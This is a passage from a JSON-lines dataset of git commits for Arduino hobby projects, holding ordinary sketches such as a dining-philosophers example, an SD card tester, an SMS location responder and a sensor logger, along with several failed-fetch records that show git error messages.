fichier\n","repos":"nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance","old_file":"Module Moteur\/Software\/Asservissement\/CaraterisationVitesseMoteur\/caraterisationVitesseMoteur\/caraterisationVitesseMoteur.ino","new_file":"Module Moteur\/Software\/Asservissement\/CaraterisationVitesseMoteur\/caraterisationVitesseMoteur\/caraterisationVitesseMoteur.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Module' did not match any file(s) known to git\nerror: pathspec 'Moteur\/Software\/Asservissement\/CaraterisationVitesseMoteur\/caraterisationVitesseMoteur\/caraterisationVitesseMoteur.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4ffb5f0d569dbc8f88ff41ae0f03ddb571dbb33a","subject":"arduino code style fixed","message":"arduino code style fixed\n","repos":"sgulyaevsky\/junkbot_platform","old_file":"arduino\/botctrl.ino","new_file":"arduino\/botctrl.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/sgulyaevsky\/junkbot_platform.git\/'\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"c2b9764e89c339d17bc83452a505f46e1bf609d1","subject":"Add arduino sonic array.","message":"Add arduino sonic array.\n\n","repos":"kkaczkowski\/Hoover","old_file":"atmega\/sonic\/RobotSonic.ino","new_file":"atmega\/sonic\/RobotSonic.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/kkaczkowski\/Hoover.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"5dcaf89d268018084e51af7f2e37d95ac3c9cb5e","subject":"Set LED to offline if initial connect fails.","message":"Set LED to offline if initial connect fails.","repos":"lgramatikov\/celeste","old_file":"TempSensor.ino","new_file":"TempSensor.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/lgramatikov\/celeste.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"bc25398bdf006f530b26fec7a44f1bfb3db37c83","subject":"Fix Arduino Subscriber","message":"Fix Arduino Subscriber\n\nI accidentally put scan_msg instead of the thread name, \"Scan\". Hopefully allows the subscriber to work now.\n","repos":"MarsRobotics\/Experiments,MarsRobotics\/Experiments,MarsRobotics\/Experiments,MarsRobotics\/Experiments","old_file":"LIDAR Data Extraction\/LidarCommands\/Currently Used\/arduino\/lidar_servo_driver\/lidar_servo_driver.ino","new_file":"LIDAR Data Extraction\/LidarCommands\/Currently Used\/arduino\/lidar_servo_driver\/lidar_servo_driver.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'LIDAR' did not match any file(s) known to git\nerror: pathspec 'Data' did not match any file(s) known to git\nerror: pathspec 'Extraction\/LidarCommands\/Currently' did not match any file(s) known to git\nerror: pathspec 'Used\/arduino\/lidar_servo_driver\/lidar_servo_driver.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"5f527c7e248af6bf0466befcdd377fb112bbddea","subject":"dining philosophers example","message":"dining philosophers example\n","repos":"jscrane\/Tasks,jscrane\/Tasks","old_file":"examples\/msp430fr5739\/Philosophers.ino","new_file":"examples\/msp430fr5739\/Philosophers.ino","new_contents":"#include <Interrupted.h>\n#include <Tasks.h>\n\n#define MAX\t6\n\nSemaphore forks[MAX];\nstatic byte ids = 1;\nstatic byte leds[] = { LED1, LED2, LED3, LED4, LED5, LED6, LED7, LED8 };\n\nvoid eating(byte id, byte weight) {\n\tSerial.print(\"Philosopher \");\n\tSerial.print(id);\n\tSerial.print(\" eats: \");\n\tSerial.println(weight);\n\n\tdigitalWrite(leds[id], HIGH);\n\tdelay(500);\n\tdigitalWrite(leds[id], LOW);\n\n\tTasks::ready(Tasks::current());\n\tTasks::reschedule();\n}\n\nclass Philosopher: public Task<50> {\npublic:\n\tvoid setup() {\n\t\t_id = ids++;\n\t}\n\n\tvoid loop() {\n\t\tforks[_id - 1].wait();\n\t\tforks[_id].wait();\n\n\t\teating(_id, _w++);\n\n\t\tforks[_id - 1].signal();\n\t\tforks[_id].signal();\n\t}\n\nprivate:\n\tbyte _id, _w;\n};\n\nPhilosopher philosophers[MAX-1];\n\nvoid setup() {\n\tSerial.begin(9600);\n\tTasks::init();\n\tfor (int i = 0; i < MAX; i++) {\n\t\tforks[i].signal();\n\t\tpinMode(leds[i], OUTPUT);\n\t}\n\tfor (int i = 0; i < MAX-1; i++)\n\t\tTasks::start(philosophers[i]);\n}\n\nvoid loop() {\n\tstatic byte weight;\n\n\tforks[0].wait();\n\tforks[MAX-1].wait();\n\n\teating(0, weight++);\n\n\tforks[0].signal();\n\tforks[MAX-1].signal();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/msp430fr5739\/Philosophers.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b18824555688a1dac711997f03a81144546608df","subject":"Fix minor bug with console output displaying wrong menu option character.","message":"Fix minor bug with console output displaying wrong menu option character.\n\nImprove console output to be slightly more friendly\n","repos":"UAA-EQLNES\/EQLNES-Sensors","old_file":"Arduino\/libraries\/UASensors_SDCard\/examples\/SDCardTester\/SDCardTester.ino","new_file":"Arduino\/libraries\/UASensors_SDCard\/examples\/SDCardTester\/SDCardTester.ino","new_contents":"\/*\n SDCard Tester\n\n Test SD Card read\/write functionality with simple Serial interface.\n\n Notes:\n - Behind the scenes uses SD Fat library instead of the default SD library\n - File clear not implemented yet\n - Write file appends to existing content\n\n Created 14 6 2014\n Modified 22 6 2014\n*\/\n#include <UASensors_SDCard.h>\n\n\/\/ UA Sensors SDCard - Dependencies\n#include <SdFat.h>\n#include <String.h>\n\n\/\/ Pin connected to SD Card CS\nconst int CS_PIN = 10;\n\n\/\/ Maximum number of characters allowed for message input\n\/\/ Includes one extra slot for null byte terminator.\nconst int MESSAGE_SIZE = 101;\n\n\/\/ Set the name of the file to be read.\n#define FILENAME \"testfile.txt\"\n\n\/\/ Instantiate SDCard object. Need to call begin before using.\nUASensors_SDCard sd(CS_PIN);\n\n\n\/\/ Menu options recognized from Serial input\nconst char SHOW_MENU = 'm';\nconst char READ_FILE = 'r';\nconst char WRITE_FILE = 'w';\n\n\nvoid setup()\n{\n Serial.begin(9600);\n\n doShowMenu();\n\n \/\/ Call begin to initialize SD Card\n sd.begin();\n}\n\n\nvoid loop()\n{\n if (Serial.available())\n {\n switch (Serial.read())\n {\n case SHOW_MENU:\n doShowMenu();\n break;\n case READ_FILE:\n doReadFile();\n break;\n case WRITE_FILE:\n doWriteFile();\n break;\n }\n }\n}\n\nvoid doShowMenu()\n{\n Serial.println(\"SD Card Tester commands\");\n Serial.println(\"-----------------------\");\n Serial.println(\"m: Show menu\");\n Serial.println(\"r: Reads contents of file\");\n Serial.println(\"w: Write contents to file\");\n Serial.println();\n}\n\n\/\/ Reads contents from specified file and returns\n\/\/ the contents as String that will be printed to\n\/\/ Serial console.\nvoid doReadFile()\n{\n String contents = sd.readFile(FILENAME);\n\n if (contents.length() > 0)\n {\n Serial.println(\"Contents of \" + String(FILENAME) + \":\");\n Serial.println(contents);\n Serial.println();\n }\n else\n {\n Serial.println(\"Notice: No contents found on file.\\n\");\n }\n}\n\n\nvoid doWriteFile()\n{\n char buffer[MESSAGE_SIZE];\n int inputLength = 0;\n\n Serial.print(\"Write a message up to \");\n Serial.print(MESSAGE_SIZE - 1);\n Serial.println(\" characters:\");\n\n \/\/ Wait for user to enter a message\n while (!Serial.available())\n {\n delay(100);\n }\n\n \/\/ Read input until newline character is seen. May need\n \/\/ to adjust serial console accordingly\n inputLength = Serial.readBytesUntil('\\n', buffer, MESSAGE_SIZE);\n buffer[inputLength] = '\\0';\n\n if (inputLength == 0)\n {\n Serial.println(\"Error: No valid input was found!\\n\");\n return;\n }\n\n \/\/ Convert char string to string. SDCard writeFile method expects String.\n String message = String(buffer);\n\n Serial.println(\"Writing to \" + String(FILENAME) + \":\");\n Serial.println(message);\n Serial.println();\n\n bool isSuccess = sd.writeFile(FILENAME, message);\n\n if (isSuccess)\n {\n Serial.println(\"Message written to file successfully!\\n\");\n }\n else\n {\n Serial.println(\"Error: Could not write message to file!\\n\");\n }\n}\n\n","old_contents":"\/*\n SDCard Tester\n\n Test SD Card read\/write functionality with simple Serial interface.\n\n Notes:\n - Behind the scenes uses SD Fat library instead of the default SD library\n - File clear not implemented yet\n - Write file appends to existing content\n\n Created 14 6 2014\n Modified 14 6 2014\n*\/\n#include <UASensors_SDCard.h>\n\n\/\/ UA Sensors SDCard - Dependencies\n#include <SdFat.h>\n#include <String.h>\n\n\/\/ Pin connected to SD Card CS\nconst int CS_PIN = 10;\n\n\/\/ Maximum number of characters allowed for message input\n\/\/ Includes one extra slot for null byte terminator.\nconst int MESSAGE_SIZE = 101;\n\n\/\/ Set the name of the file to be read.\n#define FILENAME \"backup.txt\"\n\n\/\/ Instantiate SDCard object. Need to call begin before using.\nUASensors_SDCard sd(CS_PIN);\n\n\n\/\/ Menu options recognized from Serial input\nconst char READ_FILE = 'r';\nconst char WRITE_FILE = 'w';\n\n\nvoid setup()\n{\n Serial.begin(9600);\n\n Serial.println(\"SD Card Tester commands\");\n Serial.println(\"-----------------------\");\n Serial.println(\"r: Reads contents of file\");\n Serial.println(\"f: Write contents to file\");\n\n \/\/ Call begin to initialize SD Card\n sd.begin();\n}\n\n\nvoid loop()\n{\n if (Serial.available())\n {\n switch (Serial.read())\n {\n case READ_FILE:\n doReadFile();\n break;\n case WRITE_FILE:\n doWriteFile();\n break;\n }\n }\n}\n\n\n\/\/ Reads contents from specified file and returns\n\/\/ the contents as String that will be printed to\n\/\/ Serial console.\nvoid doReadFile()\n{\n String contents = sd.readFile(FILENAME);\n\n if (contents.length() > 0)\n {\n Serial.println(\"Contents of \" + String(FILENAME) + \":\");\n Serial.println(contents);\n }\n else\n {\n Serial.println(\"Notice: No contents found on file.\");\n }\n}\n\n\nvoid doWriteFile()\n{\n char buffer[MESSAGE_SIZE];\n int inputLength = 0;\n\n Serial.print(\"Write a message up to \");\n Serial.print(MESSAGE_SIZE - 1);\n Serial.println(\" characters:\");\n\n \/\/ Wait for user to enter a message\n while (!Serial.available())\n {\n delay(100);\n }\n\n \/\/ Read input until newline character is seen. May need\n \/\/ to adjust serial console accordingly\n inputLength = Serial.readBytesUntil('\\n', buffer, MESSAGE_SIZE);\n buffer[inputLength] = '\\0';\n\n if (inputLength == 0)\n {\n Serial.println(\"Error: No valid date was found!\");\n return;\n }\n\n \/\/ Convert char string to string. SDCard writeFile method expects String.\n String message = String(buffer);\n\n bool isSuccess = sd.writeFile(FILENAME, message);\n\n if (isSuccess)\n {\n Serial.println(\"Message written to file successfully!\");\n }\n else\n {\n Serial.println(\"Error: Could not write message to file!\");\n }\n}\n\n","returncode":0,"stderr":"","license":"unlicense","lang":"Arduino"} {"commit":"d3571d05899c401d4f500fb0cfa50cf9847cdae8","subject":"Rename myservo to doorServo","message":"Rename myservo to doorServo\n\nI also added pins for servo at the beginning of the code.\n","repos":"estefanniegg\/estefannieExplainsItAll,estefanniegg\/estefannieExplainsItAll,estefanniegg\/estefannieExplainsItAll,estefanniegg\/estefannieExplainsItAll,estefanniegg\/estefannieExplainsItAll","old_file":"hacks\/GingerbreadHouse\/Arduino\/GingerbreadHouse\/GingerbreadHouse.ino","new_file":"hacks\/GingerbreadHouse\/Arduino\/GingerbreadHouse\/GingerbreadHouse.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/estefanniegg\/estefannieExplainsItAll.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"d99920412aeaf7010f0d6b14060f330a112ba296","subject":"Added whereselaiza_test.ino","message":"Added whereselaiza_test.ino\n\nNew test sketch allows to return SMS with GSPLOC data","repos":"mlongo95\/WheresElaiza","old_file":"whereselaiza_test.ino","new_file":"whereselaiza_test.ino","new_contents":"\n\/*\n THIS CODE IS STILL IN PROGRESS!\n\n Open up the serial console on the at 115200 baud to interact with SIM808\n\n This code will receive an SMS, identify the sender's phone number, and automatically send a GPRSloc response\n\n For use with SIM808\n\n Written by Marco Longoria , 2018\n*\/\n\n#include \"Adafruit_FONA.h\"\n\n#define FONA_RX 2\n#define FONA_TX 3\n#define FONA_RST 4\n\n\/\/ this is a large buffer for replies\nchar replybuffer[255];\nchar gpsbuffer[20];\n\n\/\/ We default to using software serial. If you want to use hardware serial\n\/\/ (because softserial isnt supported) comment out the following three lines\n\/\/ and uncomment the HardwareSerial line\n#include <SoftwareSerial.h>\n\/\/SoftwareSerial fonaSS = SoftwareSerial(FONA_TX, FONA_RX);\n\/\/SoftwareSerial *fonaSerial = &fonaSS;\n\n\/\/ Hardware serial is also possible!\n HardwareSerial *fonaSerial = &Serial1;\n\n\/\/ Use this for FONA 800 and 808s\nAdafruit_FONA fona = Adafruit_FONA(FONA_RST);\n\/\/ Use this one for FONA 3G\n\/\/Adafruit_FONA_3G fona = Adafruit_FONA_3G(FONA_RST);\n\nuint8_t readline(char *buff, uint8_t maxbuff, uint16_t timeout = 0);\n\nvoid setup() {\n while (!Serial);\n\n Serial.begin(115200);\n Serial.println(F(\"FONA SMS caller ID test\"));\n Serial.println(F(\"Initializing....(May take 3 seconds)\"));\n\n \/\/ make it slow so its easy to read!\n fonaSerial->begin(4800);\n if (! fona.begin(*fonaSerial)) {\n Serial.println(F(\"Couldn't find FONA\"));\n while (1);\n }\n Serial.println(F(\"FONA is OK\"));\n\n \/\/ Print SIM card IMEI number.\n char imei[16] = {0}; \/\/ MUST use a 16 character buffer for IMEI!\n uint8_t imeiLen = fona.getIMEI(imei);\n if (imeiLen > 0) {\n Serial.print(\"SIM card IMEI: \"); Serial.println(imei);\n }\n\n fonaSerial->print(\"AT+CNMI=2,1\\r\\n\"); \/\/set up the FONA to send a +CMTI notification when an SMS is received\n \/\/ enable GPRS\n fona.enableGPRS(false);\n Serial.println(F(\"Disabling GPRS\"));\n delay(5000);\n if (!fona.enableGPRS(true)) {\n Serial.println(F(\"Failed to enable GPRS\"));\n }\n Serial.println(\"FONA Ready\");\n}\n\n\nchar fonaNotificationBuffer[64]; \/\/for notifications from the FONA\nchar smsBuffer[250];\n\nvoid loop() {\n\n char* bufPtr = fonaNotificationBuffer; \/\/handy buffer pointer\n\n if (fona.available()) \/\/any data available from the FONA?\n {\n int slot = 0; \/\/this will be the slot number of the SMS\n int charCount = 0;\n \/\/Read the notification into fonaInBuffer\n do {\n *bufPtr = fona.read();\n Serial.write(*bufPtr);\n delay(1);\n } while ((*bufPtr++ != '\\n') && (fona.available()) && (++charCount < (sizeof(fonaNotificationBuffer) - 1)));\n\n \/\/Add a terminal NULL to the notification string\n *bufPtr = 0;\n\n \/\/Scan the notification string for an SMS received notification.\n \/\/ If it's an SMS message, we'll get the slot number in 'slot'\n if (1 == sscanf(fonaNotificationBuffer, \"+CMTI: \" FONA_PREF_SMS_STORAGE \",%d\", &slot)) {\n Serial.print(\"slot: \"); Serial.println(slot);\n\n char callerIDbuffer[32]; \/\/we'll store the SMS sender number in here\n char location[32];\n uint16_t returncode;\n float lat, lon;\n\n fona.getGSMLoc(&returncode, gpsbuffer, 120); \/\/Pulls GPRS Location \n \n char *lonp = strtok(gpsbuffer, \",\"); \/\/Begin to parse GPRS location to strings\n char *latp = strtok(NULL, \",\");\n lat = atof(latp); \/\/convert from string to floats\n lon = atof(lonp);\n \n char latresult[20] = \"\"; \/\/char lat+lon results pointer\n char lonresult[20] = \"\";\n\n \n dtostrf(lat, 6, 6, latresult); \/\/converting lat+lon to latresult+lonresult string\n dtostrf(lon, 6, 6, lonresult); \n\n String stringgmap, stringlat, stringlon;\n \n stringgmap = (\"https:\/\/www.google.com\/maps\/place\/\"); \/\/adding strings together \n stringlat += stringgmap; \n stringlat += String(latresult);\n stringlon = String(lonresult);\n stringlat += \",\";\n stringlat +=stringlon; \/\/ strings added to finalchar[]\n\n char finalchar[60];\n stringlat.toCharArray(finalchar, 60);\n \n \/\/stringlat += (char)finalchar;\n \n \n\n\n\/\/ char finalresult[35] = \"\"; \/\/ you have to be aware of how long your data can be\n\/\/ \/\/ not forgetting unprintable and null term chars\n\/\/ sprintf(finalresult,\"%d,%d\",latresult,lonresult);\n\/\/ \n \n Serial.print(\"GPSLOC TEST:\"); \/\/ GPRS DEBUG INIT\n Serial.println();\n Serial.print(lat);\n Serial.print(\",\");\n Serial.print(lon);\n Serial.println();\n Serial.println(\"STRINGLAT\");\n Serial.println(stringlat);\n Serial.println();\n Serial.println(\"SMS Message:\");\n Serial.println(finalchar); \/\/ GPRS DEBUG END\n \n \/\/ Retrieve SMS sender address\/phone number.\n if (! fona.getSMSSender(slot, callerIDbuffer, 31)) {\n Serial.println(\"Didn't find SMS message in slot!\");\n }\n Serial.print(F(\"FROM: \")); Serial.println(callerIDbuffer);\n\n \/\/ Retrieve SMS value.\n uint16_t smslen;\n if (fona.readSMS(slot, smsBuffer, 250, &smslen)) { \/\/ pass in buffer and max len!\n Serial.println(smsBuffer);\n }\n\n \/\/Send back an automatic response\n Serial.println(\"Sending reponse...\");\n if (!fona.sendSMS(callerIDbuffer, finalchar )) {\n Serial.println(F(\"Failed\"));\n } else {\n Serial.println(F(\"Sent!\"));\n }\n\n \/\/ delete the original msg after it is processed\n \/\/ otherwise, we will fill up all the slots\n \/\/ and then we won't be able to receive SMS anymore\n if (fona.deleteSMS(slot)) {\n Serial.println(F(\"Deleted SMS in slot!\"));\n } else {\n Serial.print(F(\"Couldn't delete SMS in slot \")); Serial.println(slot);\n fona.print(F(\"AT+CMGD=?\\r\\n\"));\n }\n }\n }\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'whereselaiza_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2a74f4feb677039aac0cfe413512b2748df7e1b7","subject":"Major sketch rewrite","message":"Major sketch rewrite\n","repos":"tyler-cromwell\/Acid","old_file":"ACID.ino","new_file":"ACID.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/tyler-cromwell\/Acid.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"a925c13e52e9fef3d8a7577fc8268328ea3a15a1","subject":"Create windlogger2.ino","message":"Create windlogger2.ino\n\nadded sensor array to this sketch","repos":"UvaEnvSci\/weather-copter,UvaEnvSci\/weather-copter,UvaEnvSci\/weather-copter,UvaEnvSci\/weather-copter","old_file":"sensor-array\/windlogger2.ino","new_file":"sensor-array\/windlogger2.ino","new_contents":"\/\/ Date and time functions using RX8025 RTC connected via I2C and Wire lib\n\n#include <Wire.h>\n\n#include \"DS3231.h\"\n#include <SDI12.h>\n#include <Fat16.h>\n#include <Fat16util.h>\n\n#include <L3G4200D.h>\n#include <ADXL345.h>\n#include <HMC5883L.h>\n#include <Adafruit_BMP085.h>\n#include <Sensirion.h>\n\nfloat heading;\n\n\/\/10DOF\nL3G4200D gyro;\nADXL345 accel; \nHMC5883L compass;\nAdafruit_BMP085 bmp;\n\n\/\/sht75\nconst uint8_t dataPin = 9; \/\/ SHT serial data\nconst uint8_t sclkPin = 8; \/\/ SHT serial clock\nconst uint32_t TRHSTEP = 5000UL; \/\/ Sensor query period\nSensirion sht = Sensirion(dataPin, sclkPin);\nuint16_t rawData;\nfloat temperature;\nfloat humidity;\nfloat dewpoint;\nbyte measActive = false;\nbyte measType = TEMP;\nunsigned long trhMillis = 0; \/\/ Time interval tracking\n\n\/\/Linear Thermistor\nint inPin = A2;\ndouble inputValue;\ndouble tempInCelsius;\ndouble slope = -0.1302; \/\/Place calibrated thermistor slope here in degC\/V\ndouble offset = 89.113; \/\/Place calibrated thermistor offset here in degC\n\n#define DATAPIN 3 \/\/ change to the proper pin\nSDI12 mySDI12(DATAPIN);\nString myCommand = \"0R0!\";\n\nSdCard card;\nFat16 file;\n\nbool newline = false;\n\n\/\/ store error strings in flash to save RAM\n#define error(s) error_P(PSTR(s))\n\nvoid error_P(const char* str) {\n PgmPrint(\"error: \");\n SerialPrintln_P(str);\n if (card.errorCode) {\n PgmPrint(\"SD error: \");\n Serial.println(card.errorCode, HEX);\n }\n while(1);\n}\n\nDS3231 RTC; \/\/Create the R8025 object\n\nvoid setup () \n{\n Serial.begin(9600);\n Wire.begin();\n RTC.begin();\n mySDI12.begin();\n \n pinMode(inPin, INPUT);\n gyro.enableDefault();\n accel.set_bw(ADXL345_BW_12);\n compass = HMC5883L();\n compass.SetScale(1.3); \/\/ Set the scale of the compass.\n compass.SetMeasurementMode(Measurement_Continuous); \/\/ Set the measurement mode to Continuous \n bmp.begin();\n}\n\nvoid loop () \n{\n \n \/\/ initialize the SD card\n if (!card.init()) error(\"card.init\");\n \n \/\/ initialize a FAT16 volume\n if (!Fat16::init(&card)) error(\"Fat16::init\");\n \n char name[] = \"DATALOG.CSV\";\n \/\/ clear write error\n file.writeError = false;\n \n \/\/ O_CREAT - create the file if it does not exist\n \/\/ O_APPEND - seek to the end of the file prior to each write\n \/\/ O_WRITE - open for write\n if (!file.open(name, O_CREAT | O_APPEND | O_WRITE))\n error(\"error opening file\"); \n \n mySDI12.sendCommand(myCommand);\n delay(100); \/\/ wait a while for a response\n printTime();\n Serial.print(',');\n file.print(',');\n printLT();\n Serial.print(',');\n file.print(',');\n printSHT();\n Serial.print(',');\n file.print(',');\n\/\/ printGryo();\n\/\/ Serial.print(',');\n\/\/ file.print(',');\n\/\/ printAccel();\n\/\/ Serial.print(',');\n\/\/ file.print(',');\n\/\/ printBMP();\n\/\/ Serial.print(',');\n\/\/ file.print(',');\n\/\/ printHeading();\n\/\/ Serial.print(',');\n\/\/ file.print(',');\n while(mySDI12.available()){ \/\/ write the response to the screen\n char i = mySDI12.read();\n if (i != '\\n') {\n Serial.write(i);\n file.write(i);\n } \n }\n Serial.println();\n \n if (!file.close()) \n error(\"error closing file\");\n \n delay(900);\n}\n\nvoid printTime () {\n DateTime now = RTC.now(); \/\/get the current date-time\n char timestp[15];\n sprintf(timestp, \"%04d-%02d-%02d-%02d:%02d:%02d\", now.year(), now.month(), now.date(), now.hour(), now.minute(), now.second());\n file.print(timestp);\n Serial.print(timestp);\n}\n\n\/\/linear thermistor\nvoid printLT() {\n inputValue = analogRead(inPin);\n tempInCelsius = inputValue * slope + offset;\n Serial.print(tempInCelsius);\n file.print(tempInCelsius);\n Serial.print(\"C\");\n file.print(\"C\");\n}\n\n\/\/sht75\nvoid printSHT() {\n sht.meas(TEMP, &rawData, BLOCK); \/\/ Start temp measurement\n temperature = sht.calcTemp(rawData); \/\/ Convert raw sensor data\n sht.meas(HUMI, &rawData, BLOCK); \/\/ Start humidity measurement\n humidity = sht.calcHumi(rawData, temperature); \/\/ Convert raw sensor data\n dewpoint = sht.calcDewpoint(humidity, temperature);\n Serial.print(temperature);\n file.print(temperature);\n Serial.print(\"C,\");\n file.print(\"C,\");\n Serial.print(humidity);\n file.print(humidity);\n Serial.print(\"%,\");\n file.print(\"%,\");\n Serial.print(dewpoint);\n file.print(dewpoint);\n Serial.print(\"C\");\n file.print(\"C\");\n}\n\n\/\/ gryo values\nvoid printGryo() {\n gyro.read();\n Serial.print((int)gyro.g.x);\n Serial.print(\",\");\n Serial.print((int)gyro.g.y);\n Serial.print(\",\");\n Serial.println((int)gyro.g.z);\n file.print((int)gyro.g.x);\n file.print(\",\");\n file.print((int)gyro.g.y);\n file.print(\",\");\n file.println((int)gyro.g.z);\n}\n\n\/\/ accel values\nvoid printAccel() {\n double acc_data[3];\n accel.get_Gxyz(acc_data);\n float length = 0.;\n for(int i = 0; i < 3; i++){\n length += (float)acc_data[i] * (float)acc_data[i];\n Serial.print(acc_data[i]);\n Serial.print(\",\");\n file.print(acc_data[i]);\n file.print(\",\");\n }\n length = sqrt(length);\n Serial.print(length);\n file.print(length);\n}\n\n\/\/ bmp values\nvoid printBMP(){\n Serial.print(bmp.readTemperature());\n Serial.print(\",\");\n Serial.print(bmp.readPressure());\n Serial.print(\",\");\n Serial.print(bmp.readAltitude());\n}\n\n\/\/ compass heading\nvoid printHeading(){\n \/\/ Retrive the raw values from the compass (not scaled).\n MagnetometerRaw raw = compass.ReadRawAxis();\n \/\/ Retrived the scaled values from the compass (scaled to the configured scale).\n MagnetometerScaled scaled = compass.ReadScaledAxis();\n \n \/\/ Values are accessed like so:\n int MilliGauss_OnThe_XAxis = scaled.XAxis;\/\/ (or YAxis, or ZAxis)\n \n \/\/ Calculate heading when the magnetometer is level, then correct for signs of axis.\n heading = atan2(scaled.YAxis, scaled.XAxis); \n \n float declinationAngle = 0.0457;\n heading += declinationAngle;\n \n \/\/ Correct for when signs are reversed.\n if(heading < 0)\n heading += 2*PI;\n \n \/\/ Check for wrap due to addition of declination.\n if(heading > 2*PI)\n heading -= 2*PI;\n \n \/\/ Convert radians to degrees for readability.\n heading = heading * 180\/M_PI;\n Serial.print(heading);\n file.print(heading);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sensor-array\/windlogger2.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"79c100bf5577e82269df1db058d4617267880d99","subject":"Example for Setting variable value","message":"Example for Setting variable value\n","repos":"Galeje\/Cing","old_file":"Software\/Examples\/Cing Examples\/Setting_variable\/Setting_variable.ino","new_file":"Software\/Examples\/Cing Examples\/Setting_variable\/Setting_variable.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Software\/Examples\/Cing' did not match any file(s) known to git\nerror: pathspec 'Examples\/Setting_variable\/Setting_variable.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"c288427304d41c34e9ca33d3ee2737db86114953","subject":"Add DynamixelBus unit test sketch","message":"Add DynamixelBus unit test sketch\n","repos":"gbumgard\/DynamixelBus","old_file":"examples\/DynamixelBusTest\/DynamixelBusTest.ino","new_file":"examples\/DynamixelBusTest\/DynamixelBusTest.ino","new_contents":"#include <HalfDuplexHardwareSerial.h>\n\n\/**\n * Unit tests for DynamixelBus class.\n * \n *\/\n\n#include <DynamixelBus.h>\n\n#include <ArduinoUnit.h>\n\nDynamixelBus dynamixel(Serial1);\n\n\/*\n * CAUTION!\n * These tests will run using the first servo found using the discovery method.\n * The servo limits, position, speed and torque limit values are modified\n * in many of the tests. The tests may be safely run using a freestanding\n * servo, but care must be taken when running the tests if the servo is attached\n * brackets or assemblies that restrict the movement of the servo.\n * The following macros may be used to establish limits for the test suite.\n * However, test failures may leave the servo configured in a state different from that\n * proir to executing the tests. You can try re-running the test suite to restore\n * the defaults given below if the test failures occurred as a result of\n * communication errors or alarm conditions.\n *\/\n#define DEFAULT_MIN_ANGLE (512 - 64)\n#define DEFAULT_MAX_ANGLE (512 + 64)\n#define DEFAULT_TORQUE_LIMIT 256\n#define DEFAULT_GOAL_POSITION 512\n#define DEFAULT_GOAL_SPEED 256\n#define DEFAULT_PUNCH 32\n\n#define DEFAULT_MIN_VOLTAGE 6000\n#define DEFAULT_MAX_VOLTAGE 14000\n\n\/*\n * Set these macros to TRUE or FALSE to control whether a test is included.\n * Each test reduces the amount of memory for program execution,\n * so you will generally need to disable most tests to successfully \n * compile the sketch while also leaving enough RAM to run the tests.\n*\/\n#define TRUE 1\n#define FALSE 0\n\n#define TEST_PING FALSE\n#define TEST_MODELNUMBER_AX12 FALSE\n#define TEST_FIRMWAREVERSION_AX12 FALSE\n#define TEST_DISCOVER FALSE\n#define TEST_BAUD_RATE FALSE\n#define TEST_RETURN_DELAY_TIME FALSE\n#define TEST_ANGLE_LIMITS FAKSE\n#define TEST_TEMPERATURE_LIMIT FALSE\n#define TEST_VOLTAGE_LIMITS TRUE\n#define TEST_INITIAL_TORQUE_LIMIT FALSE\n#define TEST_STATUS_RETURN_LEVEL FALSE\n#define TEST_ALARM_LED FALSE\n#define TEST_ALARM_SHUTDOWN FALSE\n#define TEST_TORQUE_ENABLE FALSE\n#define TEST_LED FALSE\n#define TEST_COMPLIANCE_MARGINS FALSE\n#define TEST_COMPLIANCE_SLOPES FALSE\n#define TEST_GOAL_POSITION FALSE\n#define TEST_GOAL_SPEED FALSE\n#define TEST_TORQUE_LIMIT FALSE\n#define TEST_PRESENT_STATE FALSE\n#define TEST_REGISTERED_INSTRUCTION FALSE\n#define TEST_MOVING FALSE\n#define TEST_LOCK FALSE\n#define TEST_PUNCH FALSE\n\n\/\/ Global state variable required in multiple tests\nuint8_t servoId = 0;\nuint16_t servoMinAngle = DEFAULT_MIN_ANGLE; \/\/ +90\nuint16_t servoMaxAngle = DEFAULT_MAX_ANGLE; \/\/ -90\n\n\nvoid setup() {\n delay(1000);\n \n Serial.begin(115200);\n 